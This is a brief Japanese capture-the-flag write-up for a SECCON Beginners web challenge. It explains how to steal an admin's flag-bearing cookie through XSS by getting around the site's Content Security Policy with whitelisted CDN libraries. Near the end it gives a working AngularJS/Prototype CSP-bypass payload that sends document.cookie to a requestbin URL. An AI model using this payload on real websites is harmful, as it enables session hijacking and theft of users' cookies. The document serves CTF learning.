https://score.beginners.seccon.jp
必要知識
- XSS
- CSP
参考
解説
管理者に見せる感じっぽいのでXSSかなという感じ。
参考で渡されているコードで管理者が見ているのかなという感じであるが、クッキーにflagが入っているように見える。
とりあえず、クッキーのデータをXSSで抜けば良さそう。
適当に書いてももちろんだめ。
XSSへの対策としてCSPを設定するというものがある。
これは受け取ったHTTPヘッダーを見ると書いてある。
https://csp-evaluator.withgoogle.com
このようなサイトがあるらしく、これにURLを投げて脆弱性を探してみる。
すると、script-srcに脆弱性があるみたいだ。
ホワイトリストになっているホストのライブラリを使ってCSPをバイパスすることで攻撃コードが実行できるみたい。
angularでバイパスできるみたい。
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script> <div ng-app ng-csp> {{$on.curry.call().location.href="https://requestbin.fullcontact.com/xxxx/?v=XSS-"+$on.curry.call().document.cookie}} </div>
これで取れる。